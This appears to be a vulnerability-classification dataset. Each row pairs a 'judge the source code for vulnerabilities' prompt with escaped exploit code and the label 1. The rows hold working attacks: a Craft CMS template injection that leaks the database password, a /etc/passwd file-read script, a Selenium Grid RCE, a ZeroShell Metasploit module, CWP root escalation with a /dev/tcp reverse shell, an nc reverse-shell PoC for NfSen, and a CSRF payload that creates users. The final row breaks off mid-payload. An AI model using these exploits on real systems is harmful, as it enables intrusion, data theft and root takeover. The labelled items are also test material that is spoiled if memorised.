please judge the source code for vulnerabilities. | HEAD <slash>db<hyphen>password:%20%7b%25%20set%20dummy%20=%20craft.request.getUserAgent()|slice(0,8)%25%7d%7b%25%20set%20dummy2%20=%20craft.request.getUserAgent()|slice(9,2)%25%7d%7b%7bcraft.config.get(dummy,dummy2)%7d%7d HTTP<slash>1.1<NEWLINE>Host: craft<hyphen>installation<NEWLINE>User<hyphen>Agent: password db<NEWLINE>HTTP<slash>1.1 404 Not Found<NEWLINE>Server: nginx<NEWLINE>…<NEWLINE>Link: <db<hyphen>password: SECRET>; rel=<single<underscore>quote>canonical<single<underscore>quote><NEWLINE>… | 1 |
please judge the source code for vulnerabilities. | import sys<NEWLINE>import requests<NEWLINE>def exploit(address, login, password,file):<NEWLINE>s = requests.Session()<NEWLINE>url = address<NEWLINE>try:<NEWLINE>r1 = s.get(url+<double<underscore>quote><slash>login?next=<slash><double<underscore>quote>);<NEWLINE>cookies = requests.utils.dict<underscore>from<underscore>cookiejar(s.cookies);<NEWLINE>csrf = cookies[<double<underscore>quote>csrftoken<double<underscore>quote>]<NEWLINE>authentication = {<single<underscore>quote>csrfmiddlewaretoken<single<underscore>quote>: csrf, <single<underscore>quote><underscore>fields<single<underscore>quote>: <double<underscore>quote>{<backslash><double<underscore>quote>username<backslash><double<underscore>quote>:<backslash><double<underscore>quote><double<underscore>quote>+login+<double<underscore>quote><backslash><double<underscore>quote>,<backslash><double<underscore>quote>password<backslash><double<underscore>quote>:<backslash><double<underscore>quote><double<underscore>quote>+password+<double<underscore>quote><backslash><double<underscore>quote>,<backslash><double<underscore>quote>legalAccepted<backslash><double<underscore>quote>:<backslash><double<underscore>quote>N<slash>A<backslash><double<underscore>quote>,<backslash><double<underscore>quote>userAgent<backslash><double<underscore>quote>:<backslash><double<underscore>quote><backslash><double<underscore>quote>}<double<underscore>quote>}<NEWLINE>r2 = s.post(url+<double<underscore>quote><slash>login?next=<slash><double<underscore>quote>, data=authentication)<NEWLINE>r3 = s.get(url+<double<underscore>quote><slash>modules<slash>common<slash>logs?filterStr=msg:<hyphen>e .* <slash>etc<slash>passwd <double<underscore>quote>)<NEWLINE>print r3.text<NEWLINE>except Exception as e:<NEWLINE>print <double<underscore>quote><backslash>n! ERROR: %s<double<underscore>quote> % e<NEWLINE>return False<NEWLINE>if len(sys.argv) < 4:<NEWLINE>print <double<underscore>quote>Usage: exploit.py <target> <login> <password> <file><backslash>n<double<underscore>quote><NEWLINE>print <double<underscore>quote>Example: exploit.py http:<slash><slash>192.168.1.2 admin password <slash>etc<slash>passwd<backslash>n<double<underscore>quote><NEWLINE>quit()<NEWLINE>target = sys.argv[1]<NEWLINE>login = sys.argv[2]<NEWLINE>password = sys.argv[3]<NEWLINE>file = sys.argv[4]<NEWLINE>exploit(target,login,password,file) | 1 |
please judge the source code for vulnerabilities. | require <single<underscore>quote>optparse<single<underscore>quote><NEWLINE>require <single<underscore>quote>net<slash>http<single<underscore>quote><NEWLINE>require <single<underscore>quote>json<single<underscore>quote><NEWLINE>require <single<underscore>quote>uri<single<underscore>quote><NEWLINE>require <single<underscore>quote>zip<single<underscore>quote><NEWLINE>require <single<underscore>quote>base64<single<underscore>quote><NEWLINE>options = {}<NEWLINE>OptionParser.new do |opts|<NEWLINE>opts.banner = <single<underscore>quote>Usage: example.rb [options]<single<underscore>quote><NEWLINE>opts.on(<single<underscore>quote><hyphen>hURL<single<underscore>quote>, <single<underscore>quote><hyphen><hyphen>hubURL<single<underscore>quote>, <single<underscore>quote>Selenium Hub URL<single<underscore>quote>) do |h|<NEWLINE>options[:hub] = h<NEWLINE>end<NEWLINE>opts.on(<single<underscore>quote><hyphen><hyphen>help<single<underscore>quote>, <single<underscore>quote>Prints this help<single<underscore>quote>) do<NEWLINE>puts opts<NEWLINE>exit<NEWLINE>end<NEWLINE>end.parse!<NEWLINE>hub<underscore>url = options[:hub]<NEWLINE>payload = <single<underscore>quote>rm <hyphen>rf $0<NEWLINE>echo success > <slash>tmp<slash>selenium<underscore>node<underscore>rce.txt<single<underscore>quote><NEWLINE>stringio = Zip::OutputStream::write<underscore>buffer do |io|<NEWLINE>io.put<underscore>next<underscore>entry(<double<underscore>quote>handlers.json<double<underscore>quote>)<NEWLINE>io.write(<single<underscore>quote>{<double<underscore>quote>defaultHandlersVersion<double<underscore>quote>:{<double<underscore>quote>en<hyphen>US<double<underscore>quote>:4},<double<underscore>quote>mimeTypes<double<underscore>quote>:{<double<underscore>quote>application<slash>sh<double<underscore>quote>:{<double<underscore>quote>action<double<underscore>quote>:2,<double<underscore>quote>handlers<double<underscore>quote>:[{<double<underscore>quote>name<double<underscore>quote>:<double<underscore>quote>sh<double<underscore>quote>,<double<underscore>quote>path<double<underscore>quote>:<double<underscore>quote><slash>bin<slash>sh<double<underscore>quote>}]}}}<single<underscore>quote>)<NEWLINE>end<NEWLINE>stringio.rewind<NEWLINE>encoded<underscore>profile = Base64.strict<underscore>encode64(stringio.sysread)<NEWLINE>newSession = {:desiredCapabilities => {:browserName => <double<underscore>quote>firefox<double<underscore>quote>, :firefox<underscore>profile => encoded<underscore>profile}}<NEWLINE>uri = URI.parse(hub<underscore>url)<NEWLINE>http = Net::HTTP.new(uri.host, uri.port)<NEWLINE>uri = URI.parse(<double<underscore>quote>%s<slash>session<double<underscore>quote> % [hub<underscore>url])<NEWLINE>request = Net::HTTP::Post.new(uri.request<underscore>uri, <single<underscore>quote>Content<hyphen>Type<single<underscore>quote> => <single<underscore>quote>application<slash>json<single<underscore>quote>)<NEWLINE>request.body = JSON.generate(newSession)<NEWLINE>response = http.request(request)<NEWLINE>sessionId = JSON.parse(response.body)[<double<underscore>quote>value<double<underscore>quote>][<double<underscore>quote>sessionId<double<underscore>quote>]<NEWLINE>data<underscore>url = <double<underscore>quote>data:application<slash>sh;charset=utf<hyphen>16le;base64,%s<double<underscore>quote> % [Base64.encode64(payload)]<NEWLINE>uri = URI.parse(<double<underscore>quote>%s<slash>session<slash>%s<slash>url<double<underscore>quote> % [hub<underscore>url, sessionId])<NEWLINE>request = Net::HTTP::Post.new(uri.request<underscore>uri, <single<underscore>quote>Content<hyphen>Type<single<underscore>quote> => <single<underscore>quote>application<slash>json<single<underscore>quote>)<NEWLINE>request.body = JSON.generate(:url => data<underscore>url)<NEWLINE>response = http.request(request)<NEWLINE>uri = URI.parse(<double<underscore>quote>%s<slash>session<slash>%s<double<underscore>quote> % [hub<underscore>url, sessionId])<NEWLINE>request = Net::HTTP::Delete.new(uri.request<underscore>uri)<NEWLINE>http.request(request)<NEWLINE>exit | 1 |
please judge the source code for vulnerabilities. | class MetasploitModule < Msf::Exploit::Remote<NEWLINE>Rank = NormalRanking<NEWLINE>include Msf::Exploit::Remote::HttpClient<NEWLINE>include Msf::Exploit::CmdStager<NEWLINE>def initialize(info = {})<NEWLINE>super(update<underscore>info(info,<NEWLINE><single<underscore>quote>Name<single<underscore>quote> => <single<underscore>quote>Zeroshell 3.9.0 Remote Command Execution<single<underscore>quote>,<NEWLINE><single<underscore>quote>Description<single<underscore>quote> => %q{<NEWLINE>This module exploits an unauthenticated command injection vulnerability<NEWLINE>found in ZeroShell 3.9.0 in the <double<underscore>quote><slash>cgi<hyphen>bin<slash>kerbynet<double<underscore>quote> url.<NEWLINE>As sudo is configured to execute <slash>bin<slash>tar without a password (NOPASSWD)<NEWLINE>it is possible to run root commands using the <double<underscore>quote>checkpoint<double<underscore>quote> tar options.<NEWLINE>},<NEWLINE><single<underscore>quote>Author<single<underscore>quote> => [<NEWLINE><single<underscore>quote>Juan Manuel Fernandez<single<underscore>quote>,<NEWLINE><single<underscore>quote>Giuseppe Fuggiano <giuseppe[dot]fuggiano[at]gmail.com><single<underscore>quote>,<NEWLINE>],<NEWLINE><single<underscore>quote>References<single<underscore>quote> => [<NEWLINE>[<single<underscore>quote>CVE<single<underscore>quote>, <single<underscore>quote>2019<hyphen>12725<single<underscore>quote>],<NEWLINE>[<single<underscore>quote>URL<single<underscore>quote>, <single<underscore>quote>https:<slash><slash>www.tarlogic.com<slash>advisories<slash>zeroshell<hyphen>rce<hyphen>root.txt<single<underscore>quote>],<NEWLINE>[<single<underscore>quote>URL<single<underscore>quote>, <single<underscore>quote>https:<slash><slash>github.com<slash>X<hyphen>C3LL<slash>PoC<hyphen>CVEs<slash>blob<slash>master<slash>CVE<hyphen>2019<hyphen>12725<slash>ZeroShell<hyphen>RCE<hyphen>EoP.py<single<underscore>quote>]<NEWLINE>],<NEWLINE><single<underscore>quote>DisclosureDate<single<underscore>quote> => <single<underscore>quote>Jul 17 2019<single<underscore>quote>,<NEWLINE><single<underscore>quote>License<single<underscore>quote> => MSF<underscore>LICENSE,<NEWLINE><single<underscore>quote>Privileged<single<underscore>quote> => true,<NEWLINE><single<underscore>quote>Platform<single<underscore>quote> => [ <single<underscore>quote>unix<single<underscore>quote>, <single<underscore>quote>linux<single<underscore>quote> ],<NEWLINE><single<underscore>quote>Arch<single<underscore>quote> => [ ARCH<underscore>X86 ],<NEWLINE><single<underscore>quote>Targets<single<underscore>quote> => [<NEWLINE>[<single<underscore>quote>Zeroshell 3.9.0 (x86)<single<underscore>quote>, {<NEWLINE><single<underscore>quote>Platform<single<underscore>quote> => <single<underscore>quote>linux<single<underscore>quote>,<NEWLINE><single<underscore>quote>Arch<single<underscore>quote> => ARCH<underscore>X86,<NEWLINE>}],<NEWLINE>],<NEWLINE><single<underscore>quote>DefaultTarget<single<underscore>quote> => 0,<NEWLINE>))<NEWLINE>register<underscore>options(<NEWLINE>[<NEWLINE>Opt::RPORT(443),<NEWLINE>OptBool.new(<single<underscore>quote>SSL<single<underscore>quote>, [true, <single<underscore>quote>Use SSL<single<underscore>quote>, true]),<NEWLINE>])<NEWLINE>end<NEWLINE>def execute<underscore>command(cmd, opts = {})<NEWLINE>command<underscore>payload = <double<underscore>quote>%27%0A%2Fetc%2Fsudo+tar+<hyphen>cf+%2Fdev%2Fnull+%2Fdev%2Fnull+<hyphen><hyphen>checkpoint%3d1+<hyphen><hyphen>checkpoint<hyphen>action%3dexec%3d%22<NEWLINE>print<underscore>status(<double<underscore>quote>Sending stager payload...<double<underscore>quote>)<NEWLINE>res = send<underscore>request<underscore>cgi(<NEWLINE><single<underscore>quote>method<single<underscore>quote> => <single<underscore>quote>GET<single<underscore>quote>,<NEWLINE><single<underscore>quote>uri<single<underscore>quote> => <single<underscore>quote><slash>cgi<hyphen>bin<slash>kerbynet<single<underscore>quote>,<NEWLINE><single<underscore>quote>encode<underscore>params<single<underscore>quote> => false,<NEWLINE><single<underscore>quote>vars<underscore>get<single<underscore>quote> => {<NEWLINE><single<underscore>quote>Action<single<underscore>quote> => <single<underscore>quote>x509view<single<underscore>quote>,<NEWLINE><single<underscore>quote>Section<single<underscore>quote> => <single<underscore>quote>NoAuthREQ<single<underscore>quote>,<NEWLINE><single<underscore>quote>User<single<underscore>quote> => <single<underscore>quote><single<underscore>quote>,<NEWLINE><single<underscore>quote>x509type<single<underscore>quote> => command<underscore>payload<NEWLINE>}<NEWLINE>)<NEWLINE>return res<NEWLINE>end<NEWLINE>def filter<underscore>bad<underscore>chars(cmd)<NEWLINE>cmd.gsub!(<slash>chmod <backslash>+x<slash>, <single<underscore>quote>chmod 777<single<underscore>quote>)<NEWLINE>cmd.gsub!(<slash>;<slash>, <double<underscore>quote> %0A <double<underscore>quote>)<NEWLINE>cmd.gsub!(<slash> <slash>, <single<underscore>quote>+<single<underscore>quote>)<NEWLINE>cmd.gsub!(<slash><backslash><slash><slash>, <single<underscore>quote>%2F<single<underscore>quote>)<NEWLINE>return cmd<NEWLINE>end<NEWLINE>def check<NEWLINE>res = execute<underscore>command(<single<underscore>quote>id<single<underscore>quote>)<NEWLINE>if res && res.body.include?(<double<underscore>quote>uid=0(root)<double<underscore>quote>)<NEWLINE>Exploit::CheckCode::Appears<NEWLINE>else<NEWLINE>Exploit::CheckCode::Safe<NEWLINE>end<NEWLINE>end<NEWLINE>def exploit<NEWLINE>print<underscore>status(<double<underscore>quote>Exploiting...<double<underscore>quote>)<NEWLINE>execute<underscore>cmdstager(flavor: :wget, delay: 5)<NEWLINE>end<NEWLINE>end | 1 |
please judge the source code for vulnerabilities. | <slash><slash>====================================================================<backslash><backslash><NEWLINE>|| ||<NEWLINE>|| CWP Control Web Panel 0.9.8.836 <hyphen> 0.9.8.839 ||<NEWLINE>|| Root Privilege Escalation ||<NEWLINE>|| ||<NEWLINE><backslash><backslash>====================================================================<slash><slash><NEWLINE>version in the script)<NEWLINE>Product : CWP Control Web Panel<NEWLINE>Vulnerability Name : Root Privilege Escalation<NEWLINE>version : 0.9.8.836<NEWLINE>Fixed on : 0.9.8.840<NEWLINE>Test on : Tested on: CentOS 7.6.1810 (Core)<NEWLINE>Reference : http:<slash><slash>centos<hyphen>webpanel.com<slash><NEWLINE>: https:<slash><slash>control<hyphen>webpanel.com<slash>changelog<NEWLINE>CVE<hyphen>Number : CVE<hyphen>2019<hyphen>13359<NEWLINE>1. The session file are store at <slash>tmp directory<NEWLINE>2. rkey value in the session file dose not change when access by the same source IP address<NEWLINE>Session prepareation state<NEWLINE>1. Check the current IP address of attacker<NEWLINE>2. Set the IP address on testing environment network<NEWLINE>3. Login as root on port 2031<slash>2087 and save the cookie name from web browser (cwsrp<hyphen>xxxxxxxxxxxxxxxxxxxxx)<NEWLINE>4. Copy the content of session file (<slash>tmp<slash>sess<underscore>xxxxxxxxxxxxxx) to a new file <double<underscore>quote>sess<underscore>123456<double<underscore>quote><NEWLINE>5. Save the token value from the session file (cwp<underscore>xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx)<NEWLINE>* rkey is created from client ip, then do not change client ip when attack the real target<NEWLINE>Attack state<NEWLINE>1. Go to crontab and set <double<underscore>quote>bash <hyphen>i >& <slash>dev<slash>tcp<slash>[Attacker<hyphen>IP]<slash>8000 0>&1<double<underscore>quote><NEWLINE>2. Create session file through reverse shell<NEWLINE>echo <double<underscore>quote>username|s:4:<backslash><double<underscore>quote>root<backslash><double<underscore>quote>;logged|b:1;rkey|s:20:<backslash><double<underscore>quote>[RKEY]<backslash><double<underscore>quote>;token|s:36:<backslash><double<underscore>quote>[TOKEN<hyphen>KEY]<backslash><double<underscore>quote>;<double<underscore>quote> > <slash>tmp<slash>sess<underscore>123456<NEWLINE>3. On another browser, replace the token value in the URL https:<slash><slash>[target.com]:2031<slash>cwp<underscore>xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx<slash>admin<slash>index.php<NEWLINE>4. Change file permission <double<underscore>quote>chmod 664 <slash>tmp<slash>sess<underscore>123456<double<underscore>quote><NEWLINE>5. Create cookie name <double<underscore>quote>cwsrp<hyphen>xxxxxxxxxxxxxxxxxxxxx<double<underscore>quote> and set its value to <double<underscore>quote>123456<double<underscore>quote> (sess<underscore>123456)<NEWLINE>6. Open the URL and become the root user<NEWLINE>1. On the real target, login as a normal user on port 2083 and upload file <double<underscore>quote>sess<underscore>123456<double<underscore>quote> to <slash>tmp directory and set permission to 644 (chmod 664 <slash>tmp<slash>sess<underscore>123456) via crontab feature<NEWLINE>2. On another browser, replace the token value in the URL https:<slash><slash>[target.com]:2031<slash>cwp<underscore>xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx<slash>admin<slash>index.php<NEWLINE>3. Create cookie name <double<underscore>quote>cwsrp<hyphen>xxxxxxxxxxxxxxxxxxxxx<double<underscore>quote> and set its value to <double<underscore>quote>123456<double<underscore>quote> (sess<underscore>123456)<NEWLINE>4. Open the URL and become the root user<NEWLINE>*From step 1 <hyphen> 4 need doing it quickly. if we do it too slow, the application will change the permission of file sess<underscore>123456 to 600, and the file will become 0 byte. If this happened, attacker need to change session file name and repeat the steps again<NEWLINE>https:<slash><slash>github.com<slash>i3umi3iei3ii<slash>CentOS<hyphen>Control<hyphen>Web<hyphen>Panel<hyphen>CVE<slash>blob<slash>master<slash>CVE<hyphen>2019<hyphen>13359.md<NEWLINE>2019<hyphen>06<hyphen>30: Discovered the bug<NEWLINE>2019<hyphen>06<hyphen>30: Reported to vendor<NEWLINE>2019<hyphen>06<hyphen>30: Vender accepted the vulnerability<NEWLINE>2019<hyphen>07<hyphen>02: The vulnerability has been fixed<NEWLINE>2019<hyphen>07<hyphen>06: Published<NEWLINE>Pongtorn Angsuchotmetee<NEWLINE>Nissana Sirijirakal<NEWLINE>Narin Boonwasanarak | 1 |
please judge the source code for vulnerabilities. | import json<NEWLINE>import sys<NEWLINE>import urllib2<NEWLINE>from lxml import etree<NEWLINE>def get<underscore>api<underscore>url(wordpress<underscore>url):<NEWLINE>response = urllib2.urlopen(wordpress<underscore>url)<NEWLINE>data = etree.HTML(response.read())<NEWLINE>u = data.xpath(<single<underscore>quote><slash><slash>link[@rel=<double<underscore>quote>https:<slash><slash>api.w.org<slash><double<underscore>quote>]<slash>@href<single<underscore>quote>)[0]<NEWLINE>if <single<underscore>quote>rest<underscore>route<single<underscore>quote> in u:<NEWLINE>print(<single<underscore>quote> ! Warning, looks like permalinks are not enabled. This might not work!<single<underscore>quote>)<NEWLINE>return u<NEWLINE>def get<underscore>posts(api<underscore>base):<NEWLINE>respone = urllib2.urlopen(api<underscore>base + <single<underscore>quote>wp<slash>v2<slash>posts<single<underscore>quote>)<NEWLINE>posts = json.loads(respone.read())<NEWLINE>for post in posts:<NEWLINE>print(<single<underscore>quote> <hyphen> Post ID: {0}, Title: {1}, Url: {2}<single<underscore>quote><NEWLINE>.format(post[<single<underscore>quote>id<single<underscore>quote>], post[<single<underscore>quote>title<single<underscore>quote>][<single<underscore>quote>rendered<single<underscore>quote>], post[<single<underscore>quote>link<single<underscore>quote>]))<NEWLINE>def update<underscore>post(api<underscore>base, post<underscore>id, post<underscore>content):<NEWLINE>data = json.dumps({<NEWLINE><single<underscore>quote>content<single<underscore>quote>: post<underscore>content<NEWLINE>})<NEWLINE>url = api<underscore>base + <single<underscore>quote>wp<slash>v2<slash>posts<slash>{post<underscore>id}<slash>?id={post<underscore>id}abc<single<underscore>quote>.format(post<underscore>id=post<underscore>id)<NEWLINE>req = urllib2.Request(url, data, {<single<underscore>quote>Content<hyphen>Type<single<underscore>quote>: <single<underscore>quote>application<slash>json<single<underscore>quote>})<NEWLINE>response = urllib2.urlopen(req).read()<NEWLINE>print(<single<underscore>quote>* Post updated. Check it out at {0}<single<underscore>quote>.format(json.loads(response)[<single<underscore>quote>link<single<underscore>quote>]))<NEWLINE>def print<underscore>usage():<NEWLINE>print(<single<underscore>quote>Usage: {0} <url> (optional: <post<underscore>id> <file with post<underscore>content>)<single<underscore>quote>.format(<underscore><underscore>file<underscore><underscore>))<NEWLINE>if <underscore><underscore>name<underscore><underscore> == <single<underscore>quote><underscore><underscore>main<underscore><underscore><single<underscore>quote>:<NEWLINE>if len(sys.argv) < 2:<NEWLINE>print<underscore>usage()<NEWLINE>sys.exit(1)<NEWLINE>if 2 < len(sys.argv) < 4:<NEWLINE>print(<single<underscore>quote>Please provide a file with post content with a post id<single<underscore>quote>)<NEWLINE>print<underscore>usage()<NEWLINE>sys.exit(1)<NEWLINE>print(<single<underscore>quote>* Discovering API Endpoint<single<underscore>quote>)<NEWLINE>api<underscore>url = get<underscore>api<underscore>url(sys.argv[1])<NEWLINE>print(<single<underscore>quote>* API lives at: {0}<single<underscore>quote>.format(api<underscore>url))<NEWLINE>if len(sys.argv) < 3:<NEWLINE>print(<single<underscore>quote>* Getting available posts<single<underscore>quote>)<NEWLINE>get<underscore>posts(api<underscore>url)<NEWLINE>sys.exit(0)<NEWLINE>print(<single<underscore>quote>* Updating post {0}<single<underscore>quote>.format(sys.argv[2]))<NEWLINE>with open(sys.argv[3], <single<underscore>quote>r<single<underscore>quote>) as content:<NEWLINE>new<underscore>content = content.readlines()<NEWLINE>update<underscore>post(api<underscore>url, sys.argv[2], <single<underscore>quote><single<underscore>quote>.join(new<underscore>content))<NEWLINE>print(<single<underscore>quote>* Update complete!<single<underscore>quote>) | 1 |
please judge the source code for vulnerabilities. | 1. Description<NEWLINE>A remote authenticated attacker (or an attacker with a stolen PHP Session ID) can gain complete control over the system by sending a crafted request containing control characters and shell commands which will be executed as root on a vulnerable system.<NEWLINE>2. Proof of Concept<NEWLINE>targetip=<single<underscore>quote>10.100.1.1<single<underscore>quote><NEWLINE>cmd=<single<underscore>quote>nc <hyphen>ne <slash>bin<slash>bash 10.100.1.2 443<single<underscore>quote>;<NEWLINE>PHPSESSID=<single<underscore>quote>offq09ckq66fqtvdd0vsuhk5c7<single<underscore>quote>;<NEWLINE>curl <hyphen>o <slash>dev<slash>null <hyphen>s <hyphen>k <hyphen>b <double<underscore>quote>PHPSESSID=$PHPSESSID<double<underscore>quote> <hyphen>d <double<underscore>quote>process=Process&output=custom+...&customfmt=%0A.%0Arun<hyphen>nfdump%0Aargs=<hyphen>h; $cmd<NEWLINE>3. Solution:<NEWLINE>Update to latest version of NfSen<slash>USM<slash>OSSIM | 1 |
please judge the source code for vulnerabilities. | Core Security <hyphen> Corelabs Advisory<NEWLINE>http:<slash><slash>corelabs.coresecurity.com<slash><NEWLINE>Dell EMC Isilon OneFS Multiple Vulnerabilities<NEWLINE>1. **Advisory Information**<NEWLINE>Title: Dell EMC Isilon OneFS Multiple Vulnerabilities<NEWLINE>Advisory ID: CORE<hyphen>2017<hyphen>0009<NEWLINE>Advisory URL:<NEWLINE>http:<slash><slash>www.coresecurity.com<slash>advisories<slash>dell<hyphen>emc<hyphen>isilon<hyphen>onefs<hyphen>multiple<hyphen>vulnerabilities<NEWLINE>Date published: 2018<hyphen>02<hyphen>14<NEWLINE>Date of last update: 2018<hyphen>02<hyphen>14<NEWLINE>Vendors contacted: Dell EMC<NEWLINE>Release mode: Coordinated release<NEWLINE>2. **Vulnerability Information**<NEWLINE>Class: Cross<hyphen>Site Request Forgery [CWE<hyphen>352], Improper Privilege<NEWLINE>Management [CWE<hyphen>269], Improper Privilege Management [CWE<hyphen>269], Improper<NEWLINE>Neutralization of Input During Web Page Generation [CWE<hyphen>79], Improper<NEWLINE>Neutralization of Input During Web Page Generation [CWE<hyphen>79], Improper<NEWLINE>Neutralization of Input During Web Page Generation [CWE<hyphen>79], Improper<NEWLINE>Neutralization of Input During Web Page Generation [CWE<hyphen>79], Improper<NEWLINE>Neutralization of Input During Web Page Generation [CWE<hyphen>79], Improper<NEWLINE>Neutralization of Input During Web Page Generation [CWE<hyphen>79]<NEWLINE>Impact: Code execution<NEWLINE>Remotely Exploitable: Yes<NEWLINE>Locally Exploitable: Yes<NEWLINE>CVE Name: CVE<hyphen>2018<hyphen>1213, CVE<hyphen>2018<hyphen>1203, CVE<hyphen>2018<hyphen>1204, CVE<hyphen>2018<hyphen>1186,<NEWLINE>CVE<hyphen>2018<hyphen>1187, CVE<hyphen>2018<hyphen>1188, CVE<hyphen>2018<hyphen>1189, CVE<hyphen>2018<hyphen>1201,<NEWLINE>CVE<hyphen>2018<hyphen>1202<NEWLINE>3. **Vulnerability Description**<NEWLINE>Dell EMC<single<underscore>quote>s website states that:[1]<NEWLINE>The EMC Isilon scale<hyphen>out NAS storage platform combines modular hardware<NEWLINE>with unified software to harness unstructured data. Powered by the OneFS<NEWLINE>operating system, an EMC Isilon cluster delivers a scalable pool of<NEWLINE>storage with a global namespace.<NEWLINE>The platform<single<underscore>quote>s unified software provides centralized Web<hyphen>based and<NEWLINE>command<hyphen>line administration to manage the following features:<NEWLINE><hyphen> A cluster that runs a distributed file system<NEWLINE><hyphen> Scale<hyphen>out nodes that add capacity and performance<NEWLINE><hyphen> Storage options that manage files and tiering<NEWLINE><hyphen> Flexible data protection and high availability<NEWLINE><hyphen> Software modules that control costs and optimize resources<NEWLINE>Multiple vulnerabilities were found in the Isilon OneFS Web console that<NEWLINE>would allow a remote attacker to gain command execution as root.<NEWLINE>4. **Vulnerable Packages**<NEWLINE>. Dell EMC Isilon OneFS version 8.1.1.0 (CVE<hyphen>2018<hyphen>1203, CVE<hyphen>2018<hyphen>1204)<NEWLINE>. Dell EMC Isilon OneFS versions between 8.1.0.0 <hyphen> 8.1.0.1 (all CVEs)<NEWLINE>. Dell EMC Isilon OneFS versions between 8.0.1.0 <hyphen> 8.0.1.2 (all CVEs)<NEWLINE>. Dell EMC Isilon OneFS versions between 8.0.0.0 <hyphen> 8.0.0.6 (all CVEs)<NEWLINE>. Dell EMC Isilon OneFS versions 7.2.1.x (CVE<hyphen>2018<hyphen>1186, CVE<hyphen>2018<hyphen>1188,<NEWLINE>CVE<hyphen>2018<hyphen>1201, CVE<hyphen>2018<hyphen>1204, CVE<hyphen>2018<hyphen>1213)<NEWLINE>. Dell EMC Isilon OneFS version 7.1.1.11 (CVE<hyphen>2018<hyphen>1186, CVE<hyphen>2018<hyphen>1201,<NEWLINE>CVE<hyphen>2018<hyphen>1202, CVE<hyphen>2018<hyphen>1204, CVE<hyphen>2018<hyphen>1213)<NEWLINE>Other products and versions might be affected, but they were not tested.<NEWLINE>5. **Vendor Information, Solutions and Workarounds**<NEWLINE>Dell EMC provided a link to the Download for Isilon OneFS page which<NEWLINE>contains the patches:<NEWLINE>. https:<slash><slash>support.emc.com<slash>downloads<slash>15209<underscore>Isilon<hyphen>OneFS<NEWLINE>6. **Credits**<NEWLINE>These vulnerabilities were discovered and researched by Ivan Huertas and<NEWLINE>Maximiliano Vidal from Core Security Consulting Services. The<NEWLINE>publication of this advisory was coordinated by Alberto Solino from Core<NEWLINE>Advisories Team.<NEWLINE>7. **Technical Description <slash> Proof of Concept Code**<NEWLINE>The Web console contains several sensitive features that are vulnerable<NEWLINE>to cross<hyphen>site request forgery. We describe this issue in section 7.1.<NEWLINE>Sections 7.2 and 7.3 show two vectors to escalate privileges to root.<NEWLINE>Various persistent cross<hyphen>site scripting issues are presented in the<NEWLINE>remaining sections (7.4, 7.5, 7.6, 7.7, 7.8, 7.9).<NEWLINE>7.1. **Cross<hyphen>site request forgery leading to command execution**<NEWLINE>[CVE<hyphen>2018<hyphen>1213]<NEWLINE>There are no anti<hyphen>CSRF tokens in any forms on the Web interface.<NEWLINE>This would allow an attacker to submit authenticated requests when an<NEWLINE>authenticated user browses an attacker<hyphen>controlled domain.<NEWLINE>The Web console contains a plethora of sensitive actions that can be<NEWLINE>abused, such as adding new users with SSH access or re<hyphen>mapping existing<NEWLINE>storage directories to allow read<hyphen>write<hyphen>execute access to all users.<NEWLINE>All requests are JSON<hyphen>encoded, which in some cases might hinder<NEWLINE>exploitation of CSRF vulnerabilities. However, the application does not<NEWLINE>verify the content<hyphen>type set. This allows an attacker to exploit the CSRF<NEWLINE>vulnerabilities by setting a text<slash>plain content<hyphen>type and sending the<NEWLINE>request body as JSON<underscore>PAYLOAD=ignored.<NEWLINE>The following proof of concept creates a new user and assigns him a new<NEWLINE>role with enough privileges to log in via SSH, configure identifies,<NEWLINE>manage authentication providers, configure the cluster and run the<NEWLINE>remote support tools.<NEWLINE><slash><hyphen><hyphen><hyphen><hyphen><hyphen><NEWLINE><html><NEWLINE><body><NEWLINE><form id=<double<underscore>quote>addUser<double<underscore>quote> target=<double<underscore>quote><underscore>blank<double<underscore>quote><NEWLINE>action=<double<underscore>quote>https:<slash><slash>192.168.1.11:8080<slash>platform<slash>1<slash>auth<slash>users?query<underscore>member<underscore>of=true&resolve<underscore>names=true&start=0&zone=System&provider=lsa<hyphen>local<hyphen>provider%3ASystem<double<underscore>quote><NEWLINE>method=<double<underscore>quote>POST<double<underscore>quote> enctype=<double<underscore>quote>text<slash>plain<double<underscore>quote>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote><NEWLINE>name=<double<underscore>quote>{<double<underscore>quote>name<double<underscore>quote>:<double<underscore>quote>pepito<double<underscore>quote>,<double<underscore>quote>enabled<double<underscore>quote>:true,<double<underscore>quote>shell<double<underscore>quote>:<double<underscore>quote><slash>bin<slash>zsh<double<underscore>quote>,<double<underscore>quote>password<underscore>expires<double<underscore>quote>:false,<double<underscore>quote>password<double<underscore>quote>:<double<underscore>quote>pepito<double<underscore>quote>}<double<underscore>quote><NEWLINE>value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><<slash>form><NEWLINE><form id=<double<underscore>quote>addRole<double<underscore>quote> target=<double<underscore>quote><underscore>blank<double<underscore>quote><NEWLINE>action=<double<underscore>quote>https:<slash><slash>192.168.1.11:8080<slash>platform<slash>1<slash>auth<slash>roles<double<underscore>quote> method=<double<underscore>quote>POST<double<underscore>quote><NEWLINE>enctype=<double<underscore>quote>text<slash>plain<double<underscore>quote>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote><NEWLINE>name=<double<underscore>quote>{<double<underscore>quote>members<double<underscore>quote>:[{<double<underscore>quote>name<double<underscore>quote>:<double<underscore>quote>pepito<double<underscore>quote>,<double<underscore>quote>type<double<underscore>quote>:<double<underscore>quote>user<double<underscore>quote>}],<double<underscore>quote>name<double<underscore>quote>:<double<underscore>quote>pepito<underscore>role<double<underscore>quote>,<double<underscore>quote>privileges<double<underscore>quote>:[{<double<underscore>quote>id<double<underscore>quote>:<double<underscore>quote>ISI<underscore>PRIV<underscore>AUTH<double<underscore>quote>,<double<underscore>quote>name<double<underscore>quote>:<double<underscore>quote>Auth<double<underscore>quote>,<double<underscore>quote>read<underscore>only<double<underscore>quote>:false},{<double<underscore>quote>id<double<underscore>quote>:<double<underscore>quote>ISI<underscore>PRIV<underscore>CLUSTER<double<underscore>quote>,<double<underscore>quote>name<double<underscore>quote>:<double<underscore>quote>Cluster<double<underscore>quote>,<double<underscore>quote>read<underscore>only<double<underscore>quote>:false},{<double<underscore>quote>id<double<underscore>quote>:<double<underscore>quote>ISI<underscore>PRIV<underscore>REMOTE<underscore>SUPPORT<double<underscore>quote>,<double<underscore>quote>na